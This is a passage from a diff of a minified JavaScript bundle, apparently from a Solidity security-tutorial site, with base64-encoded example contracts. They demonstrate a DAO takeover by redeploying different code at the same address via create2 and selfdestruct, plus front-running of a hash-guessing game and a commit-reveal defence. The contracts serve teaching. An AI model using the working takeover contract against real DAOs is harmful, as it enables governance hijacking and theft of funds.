                                    +`,Kk=({prev:s,next:a})=>r.jsx(A,{version:Xk,title:vk,description:Nk,html:Fk,prev:s,next:a,codes:Hk}),Mk="0.8.24",Sk="Deploy Different Contracts at the Same Address",xk="An example of a Solidity contract vulnerable to deploy different contracts at the same address",Jk=[{fileName:"TornadoHack.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkNhbGxlZCBieSBBbGljZQowLiBEZXBsb3kgREFPCgpDYWxsZWQgYnkgQXR0YWNrZXIKMS4gRGVwbG95IERlcGxveWVyRGVwbG95ZXIKMi4gQ2FsbCBEZXBsb3llckRlcGxveWVyLmRlcGxveSgpCjMuIENhbGwgRGVwbG95ZXIuZGVwbG95UHJvcG9zYWwoKQoKQ2FsbGVkIGJ5IEFsaWNlCjQuIEdldCBEQU8gYXBwcm92YWwgb2YgUHJvcG9zYWwKCkNhbGxlZCBieSBBdHRhY2tlcgo1LiBEZWxldGUgUHJvcG9zYWwgYW5kIERlcGxveWVyCjYuIFJlLWRlcGxveSBEZXBsb3llcgo3LiBDYWxsIERlcGxveWVyLmRlcGxveUF0dGFjaygpCjguIENhbGwgREFPLmV4ZWN1dGUKOS4gQ2hlY2sgREFPLm93bmVyIGlzIGF0dGFja2VyJ3MgYWRkcmVzcwoKREFPIC0tIGFwcHJvdmVkIC0tPiBQcm9wb3NhbApEZXBsb3llckRlcGxveWVyIC0tIGNyZWF0ZTIgLS0+IERlcGxveWVyIC0tIGNyZWF0ZSAtLT4gUHJvcG9zYWwKRGVwbG95ZXJEZXBsb3llciAtLSBjcmVhdGUyIC0tPiBEZXBsb3llciAtLSBjcmVhdGUgLS0+IEF0dGFjawoqLwoKY29udHJhY3QgREFPIHsKICAgIHN0cnVjdCBQcm9wb3NhbCB7CiAgICAgICAgYWRkcmVzcyB0YXJnZXQ7CiAgICAgICAgYm9vbCBhcHByb3ZlZDsKICAgICAgICBib29sIGV4ZWN1dGVkOwogICAgfQoKICAgIGFkZHJlc3MgcHVibGljIG93bmVyID0gbXNnLnNlbmRlcjsKICAgIFByb3Bvc2FsW10gcHVibGljIHByb3Bvc2FsczsKCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3MgdGFyZ2V0KSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IG93bmVyLCAibm90IGF1dGhvcml6ZWQiKTsKCiAgICAgICAgcHJvcG9zYWxzLnB1c2goCiAgICAgICAgICAgIFByb3Bvc2FsKHt0YXJnZXQ6IHRhcmdldCwgYXBwcm92ZWQ6IHRydWUsIGV4ZWN1dGVkOiBmYWxzZX0pCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiBleGVjdXRlKHVpbnQyNTYgcHJvcG9zYWxJZCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgUHJvcG9zYWwgc3RvcmFnZSBwcm9wb3NhbCA9IHByb3Bvc2Fsc1twcm9wb3NhbElkXTsKICAgICAgICByZXF1aXJlKHByb3Bvc2FsLmFwcHJvdmVkLCAibm90IGFwcHJvdmVkIik7CiAgICAgICAgcmVxdWlyZSghcHJvcG9zYWwuZXhlY3V0ZWQsICJleGVjdXRlZCIpOwoKICAgICAgICBwcm9wb3NhbC5leGVjdXRlZCA9IHRydWU7CgogICAgICAgIChib29sIG9rLCkgPSBwcm9wb3NhbC50YXJnZXQuZGVsZWdhdGVjYWxsKAogICAgICAgICAgICBhYmkuZW5jb2RlV2l0aFNpZ25hdHVyZSgiZXhlY3V0ZVByb3Bvc2FsKCkiKQogICAgICAgICk7CiAgICAgICAgcmVxdWlyZShvaywgImRlbGVnYXRlY2FsbCBmYWlsZWQiKTsKICAgIH0KfQoKY29udHJhY3QgUHJvcG9zYWwgewogICAgZXZlbnQgTG9nKHN0cmluZyBtZXNzYWdlKTsKCiAgICBmdW5jdGlvbiBleGVjdXRlUHJvcG9zYWwoKSBleHRlcm5hbCB7CiAgICAgICAgZW1pdCBMb2coIkV4Y3V0ZWQgY29kZSBhcHByb3ZlZCBieSBEQU8iKTsKICAgIH0KCiAgICBmdW5jdGlvbiBlbWVyZ2VuY3lTdG9wKCkgZXh0ZXJuYWwgewogICAgICAgIHNlbGZkZXN0cnVjdChwYXlhYmxlKGFkZHJlc3MoMCkpKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIGV2ZW50IExvZyhzdHJpbmcgbWVzc2FnZSk7CgogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CgogICAgZnVuY3Rpb24gZXhlY3V0ZVByb3Bvc2FsKCkgZXh0ZXJuYWwgewogICAgICAgIGVtaXQgTG9nKCJFeGN1dGVkIGNvZGUgbm90IGFwcHJvdmVkIGJ5IERBTyA6KSIpOwogICAgICAgIC8vIEZvciBleGFtcGxlIC0gc2V0IERBTydzIG93bmVyIHRvIGF0dGFja2VyCiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQp9Cgpjb250cmFjdCBEZXBsb3llckRlcGxveWVyIHsKICAgIGV2ZW50IExvZyhhZGRyZXNzIGFkZHIpOwoKICAgIGZ1bmN0aW9uIGRlcGxveSgpIGV4dGVybmFsIHsKICAgICAgICBieXRlczMyIHNhbHQgPSBrZWNjYWsyNTYoYWJpLmVuY29kZSh1aW50MjU2KDEyMykpKTsKICAgICAgICBhZGRyZXNzIGFkZHIgPSBhZGRyZXNzKG5ldyBEZXBsb3llcntzYWx0OiBzYWx0fSgpKTsKICAgICAgICBlbWl0IExvZyhhZGRyKTsKICAgIH0KfQoKY29udHJhY3QgRGVwbG95ZXIgewogICAgZXZlbnQgTG9nKGFkZHJlc3MgYWRkcik7CgogICAgZnVuY3Rpb24gZGVwbG95UHJvcG9zYWwoKSBleHRlcm5hbCB7CiAgICAgICAgYWRkcmVzcyBhZGRyID0gYWRkcmVzcyhuZXcgUHJvcG9zYWwoKSk7CiAgICAgICAgZW1pdCBMb2coYWRkcik7CiAgICB9CgogICAgZnVuY3Rpb24gZGVwbG95QXR0YWNrKCkgZXh0ZXJuYWwgewogICAgICAgIGFkZHJlc3MgYWRkciA9IGFkZHJlc3MobmV3IEF0dGFjaygpKTsKICAgICAgICBlbWl0IExvZyhhZGRyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBraWxsKCkgZXh0ZXJuYWwgewogICAgICAgIHNlbGZkZXN0cnVjdChwYXlhYmxlKGFkZHJlc3MoMCkpKTsKICAgIH0KfQo="}],zk=`

                                    Contract address deployed with create is computed in the following way.

                                    contract address = last 20 bytes of sha3(rlp_encode(sender, nonce))

                                    where sender is the address of the deployer and nonce is the number of transactions sent by sender.

                                    Hence it is possible to deploy different contracts at the same address if we can somehow reset the nonce.

                                    @@ -9337,7 +9337,7 @@ DeployerDeployer -- create2 --> Deployer -- create --> Attack selfdestruct(payable(address(0))); } } -`,Dk=({prev:s,next:a})=>r.jsx(u,{version:Mk,title:Sk,description:xk,html:zk,prev:s,next:a,codes:Jk}),Ek="0.8.24",Qk="Front Running",Tk="An example of a Solidity contract vulnerable to front running",Uk=[{fileName:"FrontRunning.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkFsaWNlIGNyZWF0ZXMgYSBndWVzc2luZyBnYW1lLgpZb3Ugd2luIDEwIGV0aGVyIGlmIHlvdSBjYW4gZmluZCB0aGUgY29ycmVjdCBzdHJpbmcgdGhhdCBoYXNoZXMgdG8gdGhlIHRhcmdldApoYXNoLiBMZXQncyBzZWUgaG93IHRoaXMgY29udHJhY3QgaXMgdnVsbmVyYWJsZSB0byBmcm9udCBydW5uaW5nLgoqLwoKLyoKMS4gQWxpY2UgZGVwbG95cyBGaW5kVGhpc0hhc2ggd2l0aCAxMCBFdGhlci4KMi4gQm9iIGZpbmRzIHRoZSBjb3JyZWN0IHN0cmluZyB0aGF0IHdpbGwgaGFzaCB0byB0aGUgdGFyZ2V0IGhhc2guICgiRXRoZXJldW0iKQozLiBCb2IgY2FsbHMgc29sdmUoIkV0aGVyZXVtIikgd2l0aCBnYXMgcHJpY2Ugc2V0IHRvIDE1IGd3ZWkuCjQuIEV2ZSBpcyB3YXRjaGluZyB0aGUgdHJhbnNhY3Rpb24gcG9vbCBmb3IgdGhlIGFuc3dlciB0byBiZSBzdWJtaXR0ZWQuCjUuIEV2ZSBzZWVzIEJvYidzIGFuc3dlciBhbmQgY2FsbHMgc29sdmUoIkV0aGVyZXVtIikgd2l0aCBhIGhpZ2hlciBnYXMgcHJpY2UKICAgdGhhbiBCb2IgKDEwMCBnd2VpKS4KNi4gRXZlJ3MgdHJhbnNhY3Rpb24gd2FzIG1pbmVkIGJlZm9yZSBCb2IncyB0cmFuc2FjdGlvbi4KICAgRXZlIHdvbiB0aGUgcmV3YXJkIG9mIDEwIGV0aGVyLgoKV2hhdCBoYXBwZW5lZD8KVHJhbnNhY3Rpb25zIHRha2Ugc29tZSB0aW1lIGJlZm9yZSB0aGV5IGFyZSBtaW5lZC4KVHJhbnNhY3Rpb25zIG5vdCB5ZXQgbWluZWQgYXJlIHB1dCBpbiB0aGUgdHJhbnNhY3Rpb24gcG9vbC4KVHJhbnNhY3Rpb25zIHdpdGggaGlnaGVyIGdhcyBwcmljZSBhcmUgdHlwaWNhbGx5IG1pbmVkIGZpcnN0LgpBbiBhdHRhY2tlciBjYW4gZ2V0IHRoZSBhbnN3ZXIgZnJvbSB0aGUgdHJhbnNhY3Rpb24gcG9vbCwgc2VuZCBhIHRyYW5zYWN0aW9uCndpdGggYSBoaWdoZXIgZ2FzIHByaWNlIHNvIHRoYXQgdGhlaXIgdHJhbnNhY3Rpb24gd2lsbCBiZSBpbmNsdWRlZCBpbiBhIGJsb2NrCmJlZm9yZSB0aGUgb3JpZ2luYWwuCiovCgpjb250cmFjdCBGaW5kVGhpc0hhc2ggewogICAgYnl0ZXMzMiBwdWJsaWMgY29uc3RhbnQgaGFzaCA9CiAgICAgICAgMHg1NjRjY2FmNzU5NGQ2NmIxZWFhZWEyNGZlMDFmMDU4NWJmNTJlZTcwODUyYWY0ZWFjMGNjNGIwNDcxMWNkMGUyOwoKICAgIGNvbnN0cnVjdG9yKCkgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIHNvbHZlKHN0cmluZyBtZW1vcnkgc29sdXRpb24pIHB1YmxpYyB7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgaGFzaCA9PSBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChzb2x1dGlvbikpLCAiSW5jb3JyZWN0IGFuc3dlciIKICAgICAgICApOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IDEwIGV0aGVyfSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQo="},{fileName:"PreventFrontRunning.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCiAgIE5vdyBMZXQncyBzZWUgaG93IHRvIGd1YXJkIGZyb20gZnJvbnQgcnVubmluZyB1c2luZyBjb21taXQgcmV2ZWFsIHNjaGVtZS4KKi8KCi8qCjEuIEFsaWNlIGRlcGxveXMgU2VjdXJlZEZpbmRUaGlzSGFzaCB3aXRoIDEwIEV0aGVyLgoyLiBCb2IgZmluZHMgdGhlIGNvcnJlY3Qgc3RyaW5nIHRoYXQgd2lsbCBoYXNoIHRvIHRoZSB0YXJnZXQgaGFzaC4gKCJFdGhlcmV1bSIpLgozLiBCb2IgdGhlbiBmaW5kcyB0aGUga2VjY2FrMjU2KEFkZHJlc3MgaW4gbG93ZXJjYXNlICsgU29sdXRpb24gKyBTZWNyZXQpLiAKICAgQWRkcmVzcyBpcyBoaXMgd2FsbGV0IGFkZHJlc3MgaW4gbG93ZXJjYXNlLCBzb2x1dGlvbiBpcyAiRXRoZXJldW0iLCBTZWNyZXQgaXMgbGlrZSBhbiBwYXNzd29yZCAoIm15c2VjcmV0IikgCiAgIHRoYXQgb25seSBCb2Iga25vd3Mgd2hpYyBCb2IgdXNlcyB0byBjb21taXQgYW5kIHJldmVhbCB0aGUgc29sdXRpb24uCiAgIGtlY2NhazI1NjYoIjB4ZjM5RmQ2ZTUxYWFkODhGNkY0Y2U2YUI4ODI3Mjc5Y2ZmRmI5MjI2NkV0aGVyZXVtbXlzZWNyZXQiKSA9ICcweGY5NWIxZGQ2MWVkYzNiZDk2MmNkZWEzOTg3YzZmNTViY2I3MTRhMDJhMmMzZWI3M2JkOTYwZDZiNDM4N2ZjMzYnCjMuIEJvYiB0aGVuIGNhbGxzIGNvbW1pdFNvbHV0aW9uKCIweGY5NWIxZGQ2MWVkYzNiZDk2MmNkZWEzOTg3YzZmNTViY2I3MTRhMDJhMmMzZWI3M2JkOTYwZDZiNDM4N2ZjMzYiKSwgCiAgIHdoZXJlIGhlIGNvbW1pdHMgdGhlIGNhbGN1bGF0ZWQgc29sdXRpb24gaGFzaCB3aXRoIGdhcyBwcmljZSBzZXQgdG8gMTUgZ3dlaS4KNC4gRXZlIGlzIHdhdGNoaW5nIHRoZSB0cmFuc2FjdGlvbiBwb29sIGZvciB0aGUgYW5zd2VyIHRvIGJlIHN1Ym1pdHRlZC4KNS4gRXZlIHNlZXMgQm9iJ3MgYW5zd2VyIGFuZCBoZSBhbHNvIGNhbGxzIGNvbW1pdFNvbHV0aW9uKCIweGY5NWIxZGQ2MWVkYzNiZDk2MmNkZWEzOTg3YzZmNTViY2I3MTRhMDJhMmMzZWI3M2JkOTYwZDZiNDM4N2ZjMzYiKQogICB3aXRoIGEgaGlnaGVyIGdhcyBwcmljZSB0aGFuIEJvYiAoMTAwIGd3ZWkpLgo2LiBFdmUncyB0cmFuc2FjdGlvbiB3YXMgbWluZWQgYmVmb3JlIEJvYidzIHRyYW5zYWN0aW9uLCBidXQgRXZlIGhhcyBub3QgZ290IHRoZSByZXdhcmQgeWV0LgogICBIZSBuZWVkcyB0byBjYWxsIHJldmVhbFNvbHV0aW9uKCkgd2l0aCBleGFjdCBzZWNyZXQgYW5kIHNvbHV0aW9uLCBzbyBsZXRzIHNheSBoZSBpcyB3YXRjaGluZyB0aGUgdHJhbnNhY3Rpb24gcG9vbAogICB0byBmcm9udCBydW4gQm9iIGFzIGhlIGRpZCBwcmV2aW91c2x5CjcuIFRoZW4gQm9iIGNhbGxzIHRoZSByZXZlYWxTb2x1dGlvbigiRXRoZXJldW0iLCAibXlzZWNyZXQiKSB3aXRoIGdhcyBwcmljZSBzZXQgdG8gMTUgZ3dlaTsKOC4gTGV0J3MgY29uc2lkZXIgdGhhdCBFdmUncyB3aG8ncyB3YXRjaGluZyB0aGUgdHJhbnNhY3Rpb24gcG9vbCwgZmluZCdzIEJvYidzIHJldmVhbCBzb2x1dGlvbiB0cmFuc2FjdGlvbiBhbmQgaGUgYWxzbyBjYWxscyAKICAgcmV2ZWFsU29sdXRpb24oIkV0aGVyZXVtIiwgIm15c2VjcmV0Iikgd2l0aCBoaWdoZXIgZ2FzIHByaWNlIHRoYW4gQm9iICgxMDAgZ3dlaSkKOS4gTGV0J3MgY29uc2lkZXIgdGhhdCB0aGlzIHRpbWUgYWxzbyBFdmUncyByZXZlYWwgdHJhbnNhY3Rpb24gd2FzIG1pbmVkIGJlZm9yZSBCb2IncyB0cmFuc2FjdGlvbiwgYnV0IEV2ZSB3aWxsIGJlCiAgIHJldmVydGVkIHdpdGggIkhhc2ggZG9lc24ndCBtYXRjaCIgZXJyb3IuIFNpbmNlIHRoZSByZXZlYWxTb2x1dGlvbigpIGZ1bmN0aW9uIGNoZWNrcyB0aGUgaGFzaCB1c2luZyAKICAga2VjY2FrMjU2KG1zZy5zZW5kZXIgKyBzb2x1dGlvbiArIHNlY3JldCkuIFNvIHRoaXMgdGltZSBldmUgZmFpbHMgdG8gd2luIHRoZSByZXdhcmQuCjEwLkJ1dCBCb2IncyByZXZlYWxTb2x1dGlvbigiRXRoZXJldW0iLCAibXlzZWNyZXQiKSBwYXNzZXMgdGhlIGhhc2ggY2hlY2sgYW5kIGdldHMgdGhlIHJld2FyZCBvZiAxMCBldGhlci4KKi8KCmNvbnRyYWN0IFNlY3VyZWRGaW5kVGhpc0hhc2ggewogICAgLy8gU3RydWN0IGlzIHVzZWQgdG8gc3RvcmUgdGhlIGNvbW1pdCBkZXRhaWxzCiAgICBzdHJ1Y3QgQ29tbWl0IHsKICAgICAgICBieXRlczMyIHNvbHV0aW9uSGFzaDsKICAgICAgICB1aW50MjU2IGNvbW1pdFRpbWU7CiAgICAgICAgYm9vbCByZXZlYWxlZDsKICAgIH0KCiAgICAvLyBUaGUgaGFzaCB0aGF0IGlzIG5lZWRlZCB0byBiZSBzb2x2ZWQKICAgIGJ5dGVzMzIgcHVibGljIGhhc2ggPQogICAgICAgIDB4NTY0Y2NhZjc1OTRkNjZiMWVhYWVhMjRmZTAxZjA1ODViZjUyZWU3MDg1MmFmNGVhYzBjYzRiMDQ3MTFjZDBlMjsKCiAgICAvLyBBZGRyZXNzIG9mIHRoZSB3aW5uZXIKICAgIGFkZHJlc3MgcHVibGljIHdpbm5lcjsKCiAgICAvLyBQcmljZSB0byBiZSByZXdhcmRlZAogICAgdWludDI1NiBwdWJsaWMgcmV3YXJkOwoKICAgIC8vIFN0YXR1cyBvZiBnYW1lCiAgICBib29sIHB1YmxpYyBlbmRlZDsKCiAgICAvLyBNYXBwaW5nIHRvIHN0b3JlIHRoZSBjb21taXQgZGV0YWlscyB3aXRoIGFkZHJlc3MKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBDb21taXQpIGNvbW1pdHM7CgogICAgLy8gTW9kaWZpZXIgdG8gY2hlY2sgaWYgdGhlIGdhbWUgaXMgYWN0aXZlCiAgICBtb2RpZmllciBnYW1lQWN0aXZlKCkgewogICAgICAgIHJlcXVpcmUoIWVuZGVkLCAiQWxyZWFkeSBlbmRlZCIpOwogICAgICAgIF87CiAgICB9CgogICAgY29uc3RydWN0b3IoKSBwYXlhYmxlIHsKICAgICAgICByZXdhcmQgPSBtc2cudmFsdWU7CiAgICB9CgogICAgLyogCiAgICAgICBDb21taXQgZnVuY3Rpb24gdG8gc3RvcmUgdGhlIGhhc2ggY2FsY3VsYXRlZCB1c2luZyBrZWNjYWsyNTYoYWRkcmVzcyBpbiBsb3dlcmNhc2UgKyBzb2x1dGlvbiArIHNlY3JldCkuIAogICAgICAgVXNlcnMgY2FuIG9ubHkgY29tbWl0IG9uY2UgYW5kIGlmIHRoZSBnYW1lIGlzIGFjdGl2ZS4KICAgICovCiAgICBmdW5jdGlvbiBjb21taXRTb2x1dGlvbihieXRlczMyIF9zb2x1dGlvbkhhc2gpIHB1YmxpYyBnYW1lQWN0aXZlIHsKICAgICAgICBDb21taXQgc3RvcmFnZSBjb21taXQgPSBjb21taXRzW21zZy5zZW5kZXJdOwogICAgICAgIHJlcXVpcmUoY29tbWl0LmNvbW1pdFRpbWUgPT0gMCwgIkFscmVhZHkgY29tbWl0dGVkIik7CiAgICAgICAgY29tbWl0LnNvbHV0aW9uSGFzaCA9IF9zb2x1dGlvbkhhc2g7CiAgICAgICAgY29tbWl0LmNvbW1pdFRpbWUgPSBibG9jay50aW1lc3RhbXA7CiAgICAgICAgY29tbWl0LnJldmVhbGVkID0gZmFsc2U7CiAgICB9CgogICAgLyogCiAgICAgICAgRnVuY3Rpb24gdG8gZ2V0IHRoZSBjb21taXQgZGV0YWlscy4gSXQgcmV0dXJucyBhIHR1cGxlIG9mIChzb2x1dGlvbkhhc2gsIGNvbW1pdFRpbWUsIHJldmVhbFN0YXR1cyk7ICAKICAgICAgICBVc2VycyBjYW4gZ2V0IHNvbHV0aW9uIG9ubHkgaWYgdGhlIGdhbWUgaXMgYWN0aXZlIGFuZCB0aGV5IGhhdmUgY29tbWl0dGVkIGEgc29sdXRpb25IYXNoCiAgICAqLwogICAgZnVuY3Rpb24gZ2V0TXlTb2x1dGlvbigpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIGdhbWVBY3RpdmUKICAgICAgICByZXR1cm5zIChieXRlczMyLCB1aW50MjU2LCBib29sKQogICAgewogICAgICAgIENvbW1pdCBzdG9yYWdlIGNvbW1pdCA9IGNvbW1pdHNbbXNnLnNlbmRlcl07CiAgICAgICAgcmVxdWlyZShjb21taXQuY29tbWl0VGltZSAhPSAwLCAiTm90IGNvbW1pdHRlZCB5ZXQiKTsKICAgICAgICByZXR1cm4gKGNvbW1pdC5zb2x1dGlvbkhhc2gsIGNvbW1pdC5jb21taXRUaW1lLCBjb21taXQucmV2ZWFsZWQpOwogICAgfQogICAgLyogCiAgICAgICAgRnVuY3Rpb24gdG8gcmV2ZWFsIHRoZSBjb21taXQgYW5kIGdldCB0aGUgcmV3YXJkLiAKICAgICAgICBVc2VycyBjYW4gZ2V0IHJldmVhbCBzb2x1dGlvbiBvbmx5IGlmIHRoZSBnYW1lIGlzIGFjdGl2ZSBhbmQgdGhleSBoYXZlIGNvbW1pdHRlZCBhIHNvbHV0aW9uSGFzaCBiZWZvcmUgdGhpcyBibG9jayBhbmQgbm90IHJldmVhbGVkIHlldC4KICAgICAgICBJdCBnZW5lcmF0ZXMgYW4ga2VjY2FrMjU2KG1zZy5zZW5kZXIgKyBzb2x1dGlvbiArIHNlY3JldCkgYW5kIGNoZWNrcyBpdCB3aXRoIHRoZSBwcmV2aW91c2x5IGNvbW1pdGVkIGhhc2guICAKICAgICAgICBBc3N1bWluZyB0aGF0IGEgY29tbWl0IHdhcyBhbHJlYWR5IGluY2x1ZGVkIG9uIGNoYWluLCBmcm9udCBydW5uZXJzIHdpbGwgbm90IGJlIGFibGUgdG8gcGFzcyB0aGlzIGNoZWNrIHNpbmNlIHRoZSBtc2cuc2VuZGVyIGlzIGRpZmZlcmVudC4KICAgICAgICBUaGVuIHRoZSBhY3R1YWwgc29sdXRpb24gaXMgY2hlY2tlZCB1c2luZyBrZWNjYWsyNTYoc29sdXRpb24pLCBpZiB0aGUgc29sdXRpb24gbWF0Y2hlcywgdGhlIHdpbm5lciBpcyBkZWNsYXJlZCwgCiAgICAgICAgdGhlIGdhbWUgaXMgZW5kZWQgYW5kIHRoZSByZXdhcmQgYW1vdW50IGlzIHNlbnQgdG8gdGhlIHdpbm5lci4KICAgICovCgogICAgZnVuY3Rpb24gcmV2ZWFsU29sdXRpb24oc3RyaW5nIG1lbW9yeSBfc29sdXRpb24sIHN0cmluZyBtZW1vcnkgX3NlY3JldCkKICAgICAgICBwdWJsaWMKICAgICAgICBnYW1lQWN0aXZlCiAgICB7CiAgICAgICAgQ29tbWl0IHN0b3JhZ2UgY29tbWl0ID0gY29tbWl0c1ttc2cuc2VuZGVyXTsKICAgICAgICByZXF1aXJlKGNvbW1pdC5jb21taXRUaW1lICE9IDAsICJOb3QgY29tbWl0dGVkIHlldCIpOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIGNvbW1pdC5jb21taXRUaW1lIDwgYmxvY2sudGltZXN0YW1wLAogICAgICAgICAgICAiQ2Fubm90IHJldmVhbCBpbiB0aGUgc2FtZSBibG9jayIKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoIWNvbW1pdC5yZXZlYWxlZCwgIkFscmVhZHkgY29tbWl0ZWQgYW5kIHJldmVhbGVkIik7CgogICAgICAgIGJ5dGVzMzIgc29sdXRpb25IYXNoID0KICAgICAgICAgICAga2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQobXNnLnNlbmRlciwgX3NvbHV0aW9uLCBfc2VjcmV0KSk7CiAgICAgICAgcmVxdWlyZShzb2x1dGlvbkhhc2ggPT0gY29tbWl0LnNvbHV0aW9uSGFzaCwgIkhhc2ggZG9lc24ndCBtYXRjaCIpOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfc29sdXRpb24pKSA9PSBoYXNoLCAiSW5jb3JyZWN0IGFuc3dlciIKICAgICAgICApOwoKICAgICAgICB3aW5uZXIgPSBtc2cuc2VuZGVyOwogICAgICAgIGVuZGVkID0gdHJ1ZTsKCiAgICAgICAgKGJvb2wgc2VudCwpID0gcGF5YWJsZShtc2cuc2VuZGVyKS5jYWxse3ZhbHVlOiByZXdhcmR9KCIiKTsKICAgICAgICBpZiAoIXNlbnQpIHsKICAgICAgICAgICAgd2lubmVyID0gYWRkcmVzcygwKTsKICAgICAgICAgICAgZW5kZWQgPSBmYWxzZTsKICAgICAgICAgICAgcmV2ZXJ0KCJGYWlsZWQgdG8gc2VuZCBldGhlci4iKTsKICAgICAgICB9CiAgICB9Cn0K"}],_k=`

                                    Vulnerability

                                    +`,Dk=({prev:s,next:a})=>r.jsx(A,{version:Mk,title:Sk,description:xk,html:zk,prev:s,next:a,codes:Jk}),Ek="0.8.24",Qk="Front Running",Tk="An example of a Solidity contract vulnerable to front running",Uk=[{fileName:"FrontRunning.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkFsaWNlIGNyZWF0ZXMgYSBndWVzc2luZyBnYW1lLgpZb3Ugd2luIDEwIGV0aGVyIGlmIHlvdSBjYW4gZmluZCB0aGUgY29ycmVjdCBzdHJpbmcgdGhhdCBoYXNoZXMgdG8gdGhlIHRhcmdldApoYXNoLiBMZXQncyBzZWUgaG93IHRoaXMgY29udHJhY3QgaXMgdnVsbmVyYWJsZSB0byBmcm9udCBydW5uaW5nLgoqLwoKLyoKMS4gQWxpY2UgZGVwbG95cyBGaW5kVGhpc0hhc2ggd2l0aCAxMCBFdGhlci4KMi4gQm9iIGZpbmRzIHRoZSBjb3JyZWN0IHN0cmluZyB0aGF0IHdpbGwgaGFzaCB0byB0aGUgdGFyZ2V0IGhhc2guICgiRXRoZXJldW0iKQozLiBCb2IgY2FsbHMgc29sdmUoIkV0aGVyZXVtIikgd2l0aCBnYXMgcHJpY2Ugc2V0IHRvIDE1IGd3ZWkuCjQuIEV2ZSBpcyB3YXRjaGluZyB0aGUgdHJhbnNhY3Rpb24gcG9vbCBmb3IgdGhlIGFuc3dlciB0byBiZSBzdWJtaXR0ZWQuCjUuIEV2ZSBzZWVzIEJvYidzIGFuc3dlciBhbmQgY2FsbHMgc29sdmUoIkV0aGVyZXVtIikgd2l0aCBhIGhpZ2hlciBnYXMgcHJpY2UKICAgdGhhbiBCb2IgKDEwMCBnd2VpKS4KNi4gRXZlJ3MgdHJhbnNhY3Rpb24gd2FzIG1pbmVkIGJlZm9yZSBCb2IncyB0cmFuc2FjdGlvbi4KICAgRXZlIHdvbiB0aGUgcmV3YXJkIG9mIDEwIGV0aGVyLgoKV2hhdCBoYXBwZW5lZD8KVHJhbnNhY3Rpb25zIHRha2Ugc29tZSB0aW1lIGJlZm9yZSB0aGV5IGFyZSBtaW5lZC4KVHJhbnNhY3Rpb25zIG5vdCB5ZXQgbWluZWQgYXJlIHB1dCBpbiB0aGUgdHJhbnNhY3Rpb24gcG9vbC4KVHJhbnNhY3Rpb25zIHdpdGggaGlnaGVyIGdhcyBwcmljZSBhcmUgdHlwaWNhbGx5IG1pbmVkIGZpcnN0LgpBbiBhdHRhY2tlciBjYW4gZ2V0IHRoZSBhbnN3ZXIgZnJvbSB0aGUgdHJhbnNhY3Rpb24gcG9vbCwgc2VuZCBhIHRyYW5zYWN0aW9uCndpdGggYSBoaWdoZXIgZ2FzIHByaWNlIHNvIHRoYXQgdGhlaXIgdHJhbnNhY3Rpb24gd2lsbCBiZSBpbmNsdWRlZCBpbiBhIGJsb2NrCmJlZm9yZSB0aGUgb3JpZ2luYWwuCiovCgpjb250cmFjdCBGaW5kVGhpc0hhc2ggewogICAgYnl0ZXMzMiBwdWJsaWMgY29uc3RhbnQgaGFzaCA9CiAgICAgICAgMHg1NjRjY2FmNzU5NGQ2NmIxZWFhZWEyNGZlMDFmMDU4NWJmNTJlZTcwODUyYWY0ZWFjMGNjNGIwNDcxMWNkMGUyOwoKICAgIGNvbnN0cnVjdG9yKCkgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIHNvbHZlKHN0cmluZyBtZW1vcnkgc29sdXRpb24pIHB1YmxpYyB7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgaGFzaCA9PSBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChzb2x1dGlvbikpLCAiSW5jb3JyZWN0IGFuc3dlciIKICAgICAgICApOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IDEwIGV0aGVyfSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQo="},{fileName:"PreventFrontRunning.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCiAgIE5vdyBMZXQncyBzZWUgaG93IHRvIGd1YXJkIGZyb20gZnJvbnQgcnVubmluZyB1c2luZyBjb21taXQgcmV2ZWFsIHNjaGVtZS4KKi8KCi8qCjEuIEFsaWNlIGRlcGxveXMgU2VjdXJlZEZpbmRUaGlzSGFzaCB3aXRoIDEwIEV0aGVyLgoyLiBCb2IgZmluZHMgdGhlIGNvcnJlY3Qgc3RyaW5